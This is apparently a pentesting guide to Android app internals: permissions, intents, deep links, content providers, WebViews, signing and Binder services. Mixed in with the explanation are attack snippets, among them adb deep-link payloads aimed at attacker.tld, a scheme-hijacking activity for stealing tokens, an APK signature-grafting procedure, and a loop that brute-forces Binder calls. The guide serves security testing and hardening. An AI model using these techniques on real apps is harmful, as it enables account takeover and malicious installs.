Android Applications Basics
Android Security Model
There are two layers:
- The OS, which keeps installed applications isolated from one another.
- The application itself, which allows developers to expose certain functionalities and configures application capabilities.
UID Separation
Each application is assigned a specific User ID. This is done during the installation of the app so the app can only interact with files owned by its User ID or shared files. Therefore, only the app itself, certain components of the OS and the root user can access the apps data.
UID Sharing
Two applications can be configured to use the same UID. This can be useful to share information, but if one of them is compromised the data of both applications will be compromised. This is why this behaviour is discourage.\
To share the same UID, applications must define the same android:sharedUserId value in their manifests.
Sandboxing
The Android Application Sandbox allows to run each application as a separate process under a separate user ID. Each process has its own virtual machine, so an app’s code runs in isolation from other apps.\ From Android 5.0(L) SELinux is enforced. Basically, SELinux denied all process interactions and then created policies to allow only the expected interactions between them.
Permissions
When you installs an app and it ask for permissions, the app is asking for the permissions configured in the uses-permission elements in the AndroidManifest.xml file. The uses-permission element indicates the name of the requested permission inside the name attribute. It also has the maxSdkVersion attribute which stops asking for permissions on versions higher than the one specified.\
Note that android applications don't need to ask for all the permissions at the beginning, they can also ask for permissions dynamically but all the permissions must be declared in the manifest.
When an app exposes functionality it can limit the access to only apps that have a specified permission.\ A permission element has three attributes:
- The name of the permission
- The permission-group attribute, which allows for grouping related permissions.
- The protection-level which indicates how the permissions are granted. There are four types:
- Normal: Used when there are no known threats to the app. The user is not required to approve it.
- Dangerous: Indicates the permission grants the requesting application some elevated access. Users are requested to approve them.
- Signature: Only apps signed by the same certificate as the one exporting the component can be granted permission. This is the strongest type of protection.
- SignatureOrSystem: Only apps signed by the same certificate as the one exporting the component or apps running with system-level access can be granted permissions
Pre-Installed Applications
These apps are generally found in the /system/app or /system/priv-app directories and some of them are optimised (you may not even find the classes.dex file). Theses applications are worth checking because some times they are running with too many permissions (as root).
- The ones shipped with the AOSP (Android OpenSource Project) ROM
- Added by the device manufacturer
- Added by the cell phone provider (if purchased from them)
Rooting
In order to obtain root access into a physical android device you generally need to exploit 1 or 2 vulnerabilities which use to be specific for the device and version.\
Once the exploit has worked, usually the Linux su binary is copied into a location specified in the user's PATH env variable like /system/xbin.
Once the su binary is configured, another Android app is used to interface with the su binary and process requests for root access like Superuser and SuperSU (available in Google Play store).
Caution
Note that the rooting process is very dangerous and can damage severely the device
ROMs
It's possible to replace the OS installing a custom firmware. Doing this it's possible to extend the usefulness of an old device, bypass software restrictions or gain access to the latest Android code.\ OmniROM and LineageOS are two of the most popular firmwares to use.
Note that not always is necessary to root the device to install a custom firmware. Some manufacturers allow the unlocking of their bootloaders in a well-documented and safe manner.
Implications
Once a device is rooted, any app could request access as root. If a malicious application gets it, it can will have access to almost everything and it will be able to damage the phone.
Android Application Fundamentals
- The format of Android applications is referred to as APK file format. It is essentially a ZIP file (by renaming the file extension to .zip, the contents can be extracted and viewed).
- APK Contents (Not exhaustive)
- AndroidManifest.xml
- resources.arsc/strings.xml
- resources.arsc: contains precompiled resources, like binary XML.
- res/xml/files_paths.xml
- META-INF/
- This is where the Certificate is located!
- classes.dex
- Contains Dalvik bytecode, representing the compiled Java (or Kotlin) code that the application executes by default.
- lib/
- Houses native libraries, segregated by CPU architecture in subdirectories.
armeabi: code for ARM based processorsarmeabi-v7a: code for ARMv7 and higher based processorsx86: code for X86 processorsmips: code for MIPS processors only
- assets/
- Stores miscellaneous files needed by the app, potentially including additional native libraries or DEX files, sometimes used by malware authors to conceal additional code.
- res/
- Contains resources that are not compiled into resources.arsc
Dalvik & Smali
In Android development, Java or Kotlin is used for creating apps. Instead of using the JVM like in desktop apps, Android compiles this code into Dalvik Executable (DEX) bytecode. Earlier, the Dalvik virtual machine handled this bytecode, but now, the Android Runtime (ART) takes over in newer Android versions.
For reverse engineering, Smali becomes crucial. It's the human-readable version of DEX bytecode, acting like assembly language by translating source code into bytecode instructions. Smali and baksmali refer to the assembly and disassembly tools in this context.
Modern manifest triage (Android 11+)
When reviewing a modern APK, the Manifest usually gives away not only the attack surface, but also several platform-version assumptions that directly affect exploitation:
android:exported: from Android 12 / targetSdk 31 onward, components with intent-filters must declare it explicitly. This makes it easier to quickly enumerate which Activities / Services / Receivers / Providers are intentionally reachable from other apps.- Backups and device-to-device transfer: don't stop at
android:allowBackup. Check whether the app also definesandroid:fullBackupContent(older behaviour) andandroid:dataExtractionRules(Android 12+) because secrets may still be copied during cloud backup or device migration if the rules are too broad. - Package visibility (
<queries>): since Android 11, apps do not see every installed package by default. The<queries>block often reveals which external apps the target expects to interact with (banking apps, authenticators, wallets, browsers, MDM agents, etc.) and helps you understand why some implicit-intent PoCs only resolve after you install a matching handler.
Example of interesting manifest entries to grep first:
<manifest>
<application
android:allowBackup="true"
android:fullBackupContent="@xml/backup_rules"
android:dataExtractionRules="@xml/backup_rules_extraction" />
<queries>
<package android:name="com.bank.mobile" />
<intent>
<action android:name="android.intent.action.VIEW" />
<data android:scheme="wallet" />
</intent>
</queries>
</manifest>
As a pentest heuristic, treat backup rules and <queries> declarations as recon gold: they frequently expose sensitive restore/import paths, third-party trust relationships, and the exact app-to-app flows you should try to hijack.
Intents
Intents are the primary means by which Android apps communicate between their components or with other apps. These message objects can also carry data between apps or component, similar to how GET/POST requests are used in HTTP communications.
So an Intent is basically a message that is passed between components. Intents can be directed to specific components or apps, or can be sent without a specific recipient.\ To be simple Intent can be used:
- To start an Activity, typically opening a user interface for an app
- As broadcasts to inform the system and apps of changes
- To start, stop, and communicate with a background service
- To access data via ContentProviders
- As callbacks to handle events
If vulerable, Intents can be used to perform a variety of attacks.
Intent-Filter
Intent Filters define how an activity, service, or Broadcast Receiver can interact with different types of Intents. Essentially, they describe the capabilities of these components, such as what actions they can perform or the kinds of broadcasts they can process. The primary place to declare these filters is within the AndroidManifest.xml file, though for Broadcast Receivers, coding them is also an option.
Intent Filters are composed of categories, actions, and data filters, with the possibility of including additional metadata. This setup allows components to handle specific Intents that match the declared criteria.
A critical aspect of Android components (activities/services/content providers/broadcast receivers) is their visibility or public status. A component is considered public and can interact with other apps if it is exported with a value of true or if an Intent Filter is declared for it in the manifest. However, there's a way for developers to explicitly keep these components private, ensuring they do not interact with other apps unintentionally. This is achieved by setting the exported attribute to false in their manifest definitions.
Moreover, developers have the option to secure access to these components further by requiring specific permissions. The permission attribute can be set to enforce that only apps with the designated permission can access the component, adding an extra layer of security and control over who can interact with it.
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>
Implicit Intents
Intents are programatically created using an Intent constructor:
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
The Action of the previously declared intent is ACTION_SEND and the Extra is a mailto Uri (the Extra if the extra information the intent is expecting).
This intent should be declared inside the manifest as in the following example:
<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
An intent-filter needs to match the action, data and category to receive a message.
The "Intent resolution" process determine which app should receive each message. This process considers the priority attribute, which can be set in the intent-filter declaration, and the one with the higher priority will be selected. This priority can be set between -1000 and 1000 and applications can use the SYSTEM_HIGH_PRIORITY value. If a conflict arises, a "choser" Window appears so the user can decide.
Explicit Intents
An explicit intent specifies the class name it's targeting:
Intent downloadIntent = new (this, DownloadService.class):
In other applications in order to access to the previously declared intent you can use:
Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);
Pending Intents
These allow other applications to take actions on behalf of your application, using your app's identity and permissions. Constructing a Pending Intent it should be specified an intent and the action to perform. If the declared intent isn't Explicit (doesn't declare which intent can call it) a malicious application could perform the declared action on behalf of the victim app. Moreover, if an action isn't specified, the malicious app will be able to do any action on behalf the victim.
Modern Android versions made this area much easier to triage:
- Apps targeting Android 12+ should declare
FLAG_IMMUTABLEorFLAG_MUTABLEexplicitly. During review, grep forPendingIntent.getActivity,getBroadcast, andgetServiceand check whether the wrapped Intent is explicit or still attacker-influenceable. - If the PendingIntent is mutable and the base Intent leaves fields unset, another app can often use
fillIn()semantics to inject extras, data, action, package, or even a component, turning it into an intent-redirection / privilege-confusion primitive. - If the token is meant to be consumed only once (approval flows, auth callbacks, one-time actions), missing
FLAG_ONE_SHOTenables replay. - On Android 14+ targets, creating a mutable PendingIntent wrapping an implicit Intent throws an exception unless the app opts into the dangerous
FLAG_ALLOW_UNSAFE_IMPLICIT_INTENTbehaviour. This means older apps remain exploitable, while newer apps using that escape hatch deserve immediate attention.
Minimal vulnerable pattern:
Intent i = new Intent(); // implicit + fields still empty
PendingIntent pi = PendingIntent.getActivity(
context,
0,
i,
PendingIntent.FLAG_MUTABLE
);
If you find this pattern in a notification / widget / exported receiver flow, try to control the unresolved fields and pivot into private components. For broader exploitation chains, see Intent Injection.
Broadcast Intents
Unlike the previous intents, which are only received by one app, broadcast intents can be received by multiple apps. However, from API version 14, it's possible to specify the app that should receive the message using Intent.set Package.
Alternatively it's also possible to specify a permission when sending the broadcast. The receiver app will need to have that permission.
There are two types of Broadcasts: Normal (asynchronous) and Ordered (synchronous). The order is base on the configured priority within the receiver element. Each app can process, relay or drop the Broadcast.
It's possible to send a broadcast using the function sendBroadcast(intent, receiverPermission) from the Context class.\
You could also use the function sendBroadcast from the LocalBroadCastManager ensures the message never leaves the app. Using this you won't even need to export a receiver component.
Sticky Broadcasts
This kind of Broadcasts can be accessed long after they were sent.\ These were deprecated in API level 21 and it's recommended to not use them.\ They allow any application to sniff the data, but also to modify it.
If you find functions containing the word "sticky" like sendStickyBroadcast or sendStickyBroadcastAsUser, check the impact and try to remove them.
Deep links / URL schemes
In Android applications, deep links are used to initiate an action (Intent) directly through a URL. This is done by declaring a specific URL scheme within an activity. When an Android device tries to access a URL with this scheme, the specified activity within the application is launched.
The scheme must be declarated in the AndroidManifest.xml file:
[...]
<activity android:name=".MyActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="examplescheme" />
</intent-filter>
[...]
The scheme from the previous example is examplescheme:// (note also the category BROWSABLE)
Then, in the data field, you can specify the host and path:
<data android:scheme="examplescheme"
android:host="example"
/>
To access it from a web it's possible to set a link like:
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
In order to find the code that will be executed in the App, go to the activity called by the deeplink and search the function onNewIntent.
Learn how to call deep links without using HTML pages.
Deep link security testing & adb PoCs
- Entry point discovery: exported Activities that declare
<action android:name="android.intent.action.VIEW" />+<category android:name="android.intent.category.BROWSABLE" />are remotely reachable via crafted URIs (custom schemes orhttp/httpsApp Links). Prioritise paths containing login/reset/payment/wallet/admin keywords. - Validation bypass heuristics: weak host checks such as
endsWith(),contains(), permissive regexes, or substring allowlists can usually be bypassed with attacker-controlled subdomains, prefix/suffix tricks, and URL/UTF‑8 double-encoding. - WebView sinks: if the handler forwards the incoming URI or query params to
WebView.loadUrl(...), you can coerce the app to render arbitrary attacker content. If scheme validation is weak, tryjavascript:payloads as well as externalhttps://URLs. - adb PoC templates (implicit vs explicit):
# Generic implicit VIEW (custom scheme or App Link)
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Explicitly target a specific Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myapp://host/path?redirect=https://attacker.tld"
# Try javascript: when scheme filters are lax
adb shell am start -a android.intent.action.VIEW \
-d "myapp://host/web?url=javascript:alert(1)"
- Operational tips: capture multiple payload variants (external URL vs
javascript:) and replay them quickly against a device/emulator to distinguish real issues (open-redirect/auth-bypass/WebView URL injection) from static-analysis noise. - Automation: Deep-C automates deeplink hunting by decompiling the APK (apktool + dex2jar + jadx), enumerating exported + browsable activities, correlating weak validation and
WebView.loadUrlflows, and emitting ready-to-run adb PoCs (optionally auto-executed with--exec).
Verified App Links (https + android:autoVerify)
Verified App Links reduce classic custom-scheme hijacking because Android checks the target host's /.well-known/assetlinks.json file before treating the app as the default handler for matching https links. From a pentest perspective, however, they are still worth testing because mis-verification usually drops the flow back to a chooser / browser path, reviving hijack or phishing opportunities.
Quick checks:
# Force a fresh verification attempt
adb shell pm verify-app-links --re-verify com.target.app
# Inspect current per-domain status
adb shell pm get-app-links com.target.app
What to look for:
android:autoVerify="true"inVIEW+BROWSABLEhttp/httpsfilters- mismatched SHA-256 fingerprints in
assetlinks.json - host canonicalization mistakes (
wwwvs apex, trailing dot, redirects, dead subdomains) - on Android 11 and lower, one bad host in the manifest can cause all hosts in that App Link declaration to fail verification
So even if the app looks like it uses safe https App Links, always verify the runtime domain state on a device before assuming custom-scheme hijacking is dead.
Custom-scheme handler hijacking of onboarding / auth tokens
Custom schemes are convenient, but they do not prove ownership. If an app ships a sensitive onboarding or login flow that places a bearer-like secret inside a URI such as myapp://bind?code=<token>, another installed app can register the same scheme and receive the full deep link when the victim opens it from a QR scan, browser, or any other implicit VIEW trigger.
Typical attacker manifest:
<activity android:name=".StealerActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myapp" />
</intent-filter>
</activity>
Minimal interception logic:
Intent intent = getIntent();
Uri data = intent.getData();
String code = data != null ? data.getQueryParameter("code") : null;
// Exfiltrate or replay the token
Why this matters:
- If the deep link transports an authorization code, bootstrap token, magic-login token, device-binding token, password-reset secret, or any other reusable credential, this becomes an account takeover / session takeover primitive instead of just a local intent-routing bug.
- The issue is especially relevant in QR-driven mobile onboarding because users commonly scan with the camera app and then tap the OS "open link" prompt, which triggers an implicit VIEW resolution outside the trusted app context.
How to test:
- Look for authentication-related deep links in manifests, Java/Kotlin, and backend responses (login, bind, register, signin, oauth, activate, reset, magic).
- Confirm whether the flow places secrets in URI query/path parameters instead of retrieving them through a trusted app-to-backend exchange.
- Install a PoC app that claims the same scheme and replay the victim flow from every entry point you can reach: QR scan, HTML link, and adb:
adb shell am start -a android.intent.action.VIEW \
-d "myapp://bind?code=test-token"
- Check whether the attacker app receives the full URI, whether a chooser appears, and whether the intercepted token can be replayed remotely to finish login/onboarding.
Hardening notes:
- Prefer verified https App Links over custom schemes for security-sensitive flows.
- Do not embed reusable secrets in hijackable deep links; bind them to the app/backend session and expire them after one use.
- If a custom scheme is unavoidable, treat every inbound parameter as attacker-controlled and avoid using it as a standalone authenticator.
AIDL - Android Interface Definition Language
The Android Interface Definition Language (AIDL) is designed for facilitating communication between client and service in Android applications through interprocess communication (IPC). Since accessing another process's memory directly is not permitted on Android, AIDL simplifies the process by marshalling objects into a format understood by the operating system, thereby easing communication across different processes.
Key Concepts
-
Bound Services: These services utilize AIDL for IPC, enabling activities or components to bind to a service, make requests, and receive responses. The
onBindmethod in the service's class is critical for initiating interaction, marking it as a vital area for security review in search of vulnerabilities. -
Messenger: Operating as a bound service, Messenger facilitates IPC with a focus on processing data through the
onBindmethod. It's essential to inspect this method closely for any unsafe data handling or execution of sensitive functions. -
Binder: Although direct usage of the Binder class is less common due to AIDL's abstraction, it's beneficial to understand that Binder acts as a kernel-level driver facilitating data transfer between the memory spaces of different processes. For further understanding, a resource is available at https://www.youtube.com/watch?v=O-UHvFjxwZ8.
Components
These include: Activities, Services, Broadcast Receivers and Providers.
Launcher Activity and other activities
In Android apps, activities are like screens, showing different parts of the app's user interface. An app can have many activities, each one presenting a unique screen to the user.
The launcher activity is the main gateway to an app, launched when you tap the app's icon. It's defined in the app's manifest file with specific MAIN and LAUNCHER intents:
<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
Not all apps need a launcher activity, especially those without a user interface, like background services.
Activities can be made available to other apps or processes by marking them as "exported" in the manifest. This setting allows other apps to start this activity:
<service android:name=".ExampleExportedService" android:exported="true"/>
However, accessing an activity from another app isn't always a security risk. The concern arises if sensitive data is being shared improperly, which could lead to information leaks.
An activity's lifecycle begins with the onCreate method, setting up the UI and preparing the activity for interaction with the user.
Application Subclass
In Android development, an app has the option to create a subclass of the Application class, though it's not mandatory. When such a subclass is defined, it becomes the first class to be instantiated within the app. The attachBaseContext method, if implemented in this subclass, is executed before the onCreate method. This setup allows for early initialization before the rest of the application starts.
public class MyApp extends Application {
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
// Initialization code here
}
@Override
public void onCreate() {
super.onCreate();
// More initialization code
}
}
Services
Services are background operatives capable of executing tasks without a user interface. These tasks can continue running even when users switch to different applications, making services crucial for long-running operations.
Services are versatile; they can be initiated in various ways, with Intents being the primary method for launching them as an application's entry point. Once a service is started using the startService method, its onStart method kicks into action and keeps running until the stopService method is explicitly called. Alternatively, if a service's role is contingent on an active client connection, the bindService method is used for binding the client to the service, engaging the onBind method for data passage.
An interesting application of services includes background music playback or network data fetching without hindering the user's interaction with an app. Moreover, services can be made accessible to other processes on the same device through exporting. This is not the default behavior and requires explicit configuration in the Android Manifest file:
<service android:name=".ExampleExportedService" android:exported="true"/>
Broadcast Receivers
Broadcast receivers act as listeners in a messaging system, allowing multiple applications to respond to the same messages from the system. An app can register a receiver in two primary ways: through the app's Manifest or dynamically within the app's code via the registerReceiver API. In the Manifest, broadcasts are filtered with permissions, while dynamically registered receivers can also specify permissions upon registration.
Intent filters are crucial in both registration methods, determining which broadcasts trigger the receiver. Once a matching broadcast is sent, the receiver's onReceive method is invoked, enabling the app to react accordingly, such as adjusting behavior in response to a low battery alert.
Broadcasts can be either asynchronous, reaching all receivers without order, or synchronous, where receivers get the broadcast based on set priorities. However, it's important to note the potential security risk, as any app can prioritize itself to intercept a broadcast.
To understand a receiver's functionality, look for the onReceive method within its class. This method's code can manipulate the received Intent, highlighting the need for data validation by receivers, especially in Ordered Broadcasts, which can modify or drop the Intent.
For dynamically-registered receivers, pay special attention to the modern overloads of registerReceiver(...) / ContextCompat.registerReceiver(...):
RECEIVER_EXPORTEDmeans the receiver is intentionally reachable from other apps, even if there is no manifest entry to grep for.RECEIVER_NOT_EXPORTEDkeeps it app-internal.- Since Android 14 targets must choose one of those flags for context-registered receivers, this has become a very useful static triage signal: exported runtime receivers are often forgotten attack surface during reviews.
In practice, if developers use RECEIVER_EXPORTED to receive framework / vendor broadcasts (Bluetooth, telephony, OEM actions, etc.), immediately test whether the same action can also be sent by an unprivileged third-party app with attacker-controlled extras.
Weak receiver challenge-response and crash-to-restart primitives
Some OEM apps try to protect an exported receiver with a broadcasted challenge-response, but the challenge is generated from a static Random seeded once at process start (new Random(System.currentTimeMillis())). If you can force a restart or approximate the launch time, the receiver secret becomes brute-forceable within a very small seed window.
What to look for:
- exported receivers/services expecting a VERIFY_* / AUTH_* value back through another broadcast
- static or global Random instances seeded from wall-clock time
- 30-60 second verification windows
- other exported components that crash on intent.getData(), missing extras, or bad casts, giving you a restart primitive
In exploit chains, a null-deref or similar DoS in another exported component can reset the process and make the receiver-side RNG state predictable.
Content Provider
Content Providers are essential for sharing structured data between apps, emphasizing the importance of implementing permissions to ensure data security. They allow apps to access data from various sources, including databases, filesystems, or the web. Specific permissions, like readPermission and writePermission, are crucial for controlling access. Additionally, temporary access can be granted through grantUriPermission settings in the app's manifest, leveraging attributes such as path, pathPrefix, and pathPattern for detailed access control.
Input validation is paramount to prevent vulnerabilities, such as SQL injection. Content Providers support basic operations: insert(), update(), delete(), and query(), facilitating data manipulation and sharing among applications.
DocumentProvider restore/import path traversal
When an exported receiver or service accepts DocumentProvider / tree URIs and then copies them into a local folder, the bug may live in the consumer rather than in the provider. A common anti-pattern is deriving the destination path from DocumentsContract.getDocumentId(srcUri) with string operations and passing the result directly into new File(...).
File dstFile = new File(
DocumentsContract.getDocumentId(srcUri)
.replaceFirst(rootDocumentId, tempFolderPath) // no canonicalization
);
try (InputStream in = resolver.openInputStream(srcUri);
OutputStream out = new FileOutputStream(dstFile)) {
// copy attacker-controlled bytes
}
If the attacker controls the provider, encoded traversal such as data%2F..%2Fpayload.apk becomes data/../payload.apk after decoding and can escape the intended directory. This yields an arbitrary file write inside the victim app sandbox, often enough to overwrite cached plugins, downloaded APKs, or restore targets.
Audit checklist:
- restore/import/migration actions receiving arrays of URIs (SAVE_URI_PATHS, EXTRA_STREAM, ClipData)
- calls to DocumentsContract.getDocumentId, Uri.getPath, mkdirs, openInputStream, FileOutputStream
- missing getCanonicalPath() + startsWith(<allowed_dir>) validation on the final destination
Permission semantics and pitfalls (Content Providers)
- If a provider is exported, you should declare both readPermission and writePermission explicitly. When writePermission is omitted the default is null, meaning any app can attempt insert/update/delete if those methods are implemented by the provider.
- Never concatenate untrusted projection, selection, selectionArgs, or sortOrder into raw SQL. Use whitelists and parameter binding (e.g., SQLiteQueryBuilder with a projection map) and fixed WHERE templates.
- Prefer android:exported="false" unless the provider must be public. For selective sharing, use grantUriPermissions with path/pathPrefix/pathPattern.
FileProvider, a specialized Content Provider, focuses on sharing files securely. It is defined in the app's manifest with specific attributes to control access to folders, denoted by android:exported and android:resource pointing to folder configurations. Caution is advised when sharing directories to avoid exposing sensitive data inadvertently.
Example manifest declaration for FileProvider:
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>
And an example of specifying shared folders in filepaths.xml:
<paths>
<files-path path="images/" name="myimages" />
</paths>
For further information check:
WebViews
WebViews are like mini web browsers inside Android apps, pulling content either from the web or from local files. They face similar risks as regular browsers, yet there are ways to reduce these risks through specific settings.
Android offers two main WebView types:
- WebViewClient is great for basic HTML but doesn't support the JavaScript alert function, affecting how XSS attacks can be tested.
- WebChromeClient acts more like the full Chrome browser experience.
A key point is that WebView browsers do not share cookies with the device's main browser.
For loading content, methods such as loadUrl, loadData, and loadDataWithBaseURL are available. It's crucial to ensure these URLs or files are safe to use. Security settings can be managed via the WebSettings class. For instance, disabling JavaScript with setJavaScriptEnabled(false) can prevent XSS attacks.
The JavaScript "Bridge" lets Java objects interact with JavaScript, requiring methods to be marked with @JavascriptInterface for security from Android 4.2 onwards.
Allowing content access (setAllowContentAccess(true)) lets WebViews reach Content Providers, which could be a risk unless the content URLs are verified as secure.
To control file access:
- Disabling file access (
setAllowFileAccess(false)) limits access to the filesystem, with exceptions for certain assets, ensuring they're only used for non-sensitive content.
Other App Components and Mobile Device Management
Digital Signing of Applications
- Digital signing is a must for Android apps, ensuring they're authentically authored before installation. This process uses a certificate for app identification and must be verified by the device's package manager upon installation. Apps can be self-signed or certified by an external CA, safeguarding against unauthorized access and ensuring the app remains untampered during its delivery to the device.
Deterministic installer cache / artifact substitution
If a store, updater, or helper component downloads an installable artifact to a deterministic path, check how it decides the file is "already downloaded". A dangerous pattern is a cache hit based only on existence + size (for example file.length() >= expectedSize) before a later install stage.
If you can write attacker-controlled bytes to that exact path, the install flow may reuse the substituted artifact on the next deep link / broadcast / API trigger. This becomes especially useful when the app auto-installs helper APKs, plugins, or "shell" launchers without user confirmation.
Custom APK verifier confusion / mixed-scheme abuse
Some stores and updaters perform their own APK signature verification before handing the file to Android's Package Installer. Audit whether that logic matches the platform rules.
Red flags: - a present v3 signing block fails signer validation but the custom verifier falls back to v2 instead of rejecting - v2 verification checks only the signature over the embedded digest, but does not recompute the digest from the APK contents - package-name or metadata checks exist, but signer validation is not bound to the actual file body
This can enable a dual-signed APK: 1. Build the payload with the expected package name. 2. Sign it with an attacker-controlled v3 signature only. 3. Transplant a trusted APK's v2 signing block into the payload. 4. The custom verifier accepts the trusted v2 block, while Android installs the same APK using the valid attacker v3 block.
apksigner sign \
--ks key.jks \
--out payload-v3.apk \
--v1-signing-enabled false \
--v2-signing-enabled false \
--v3-signing-enabled true \
payload.apk
apksigner verify --verbose --print-certs payload-v3.apk
This pattern is relevant in OEM app stores, plugin managers, enterprise installers, or any code path that tries to enforce a custom signer allowlist outside the normal Android verifier.
App Verification for Enhanced Security
- Starting from Android 4.2, a feature called Verify Apps allows users to have apps checked for safety before installation. This verification process can warn users against potentially harmful apps, or even prevent the installation of particularly malicious ones, enhancing user security.
Mobile Device Management (MDM)
- MDM solutions provide oversight and security for mobile devices through Device Administration API. They necessitate the installation of an Android app to manage and secure mobile devices effectively. Key functions include enforcing password policies, mandating storage encryption, and permitting remote data wipe, ensuring comprehensive control and security over mobile devices.
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName adminComponent = new ComponentName(context, AdminReceiver.class);
if (dpm.isAdminActive(adminComponent)) {
// Set minimum password length
dpm.setPasswordMinimumLength(adminComponent, 8);
}
Enumerating and Exploiting AIDL / Binder Services
Android Binder IPC exposes many system and vendor-provided services. Those services become an attack surface when they are exported without a proper permission check (the AIDL layer itself performs no access-control).
1. Discover running services
# from an adb shell (USB or wireless)
service list # simple one-liner
am list services # identical output, ActivityManager wrapper
Output is a numbered list such as:
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146 wifi : [android.net.wifi.IWifiManager]
mtkconnmetrics) is what will be passed to service call.
* The value inside the brackets is the fully-qualified AIDL interface that the stub was generated from.
2. Obtain the interface descriptor (PING)
Every Binder stub automatically implements transaction code 0x5f4e5446 (1598968902 decimal, ASCII "_NTF").
# "ping" the service
service call mtkconnmetrics 1 # 1 == decimal 1598968902 mod 2^32
Parcel.
3. Calling a transaction
Syntax: service call <name> <code> [type value ...]
Common argument specifiers:
* i32 <int> – signed 32-bit value
* i64 <long> – signed 64-bit value
* s16 <string> – UTF-16 string (Android 13+ uses utf16)
Example – start network monitoring with uid 1 on a MediaTek handset:
service call mtkconnmetrics 8 i32 1
4. Brute-forcing unknown methods
When header files are unavailable you can iterate the code until the error changes from:
Result: Parcel(00000000 00000000) # "Not a data message"
Parcel response or SecurityException.
for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done
If the service was compiled with proguard the mapping must be guessed – see next step.
5. Mapping codes ↔ methods via onTransact()
Decompile the jar/odex that implements the interface (for AOSP stubs check /system/framework; OEMs often use /system_ext or /vendor).
Search for Stub.onTransact() – it contains a giant switch(transactionCode):
case TRANSACTION_updateCtaAppStatus: // 5
data.enforceInterface(DESCRIPTOR);
int appId = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;
Now the prototype and parameter types are crystal clear.
6. Spotting missing permission checks
The implementation (often an inner Impl class) is responsible for authorisation:
private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}
uid == 1000 /*system*/) is a vulnerability indicator.
Case study – MediaTek startMonitorProcessWithUid() (transaction 8) fully executes a Netlink message without any permission gate, allowing an unprivileged app to interact with the kernel’s Netfilter module and spam the system log.
7. Automating the assessment
Tools / scripts that speed-up Binder reconnaissance:
* binderfs – exposes /dev/binderfs with per-service nodes
* binder-scanner.py – walks the binder table and prints ACLs
* Frida shortcut: Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))
References
- Android Services 101 – Pentest Partners
- Android Developer Docs – AIDL
- Android Developer Docs – IBinder
- Understanding Binder, Talk @ Google
- CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)
- Android docs: Content providers
- Android manifest provider: readPermission
- Android manifest provider: writePermission
- Android ContentResolver.update()
- Android Open Source Project - APK signature scheme v3
- Android Developers - apksigner
- Deep-C – Android deep link exploitation framework
- Unsafe use of deep links - Android Developers
- Pending intents | Security | Android Developers
- Verify App Links | Android Developers
- Create deep links - Android Developers
- Samsung Developer - Shell APK
- Bugscale - Here We Go Again: A Five-Bug Chain to Arbitrary APK Install on Samsung S25
- bugscale/samsung-s25-research - graft_sig.py
- Microsoft Authenticator’s Unclaimed Deep Link: A Full Account Takeover Story (CVE-2026-26123)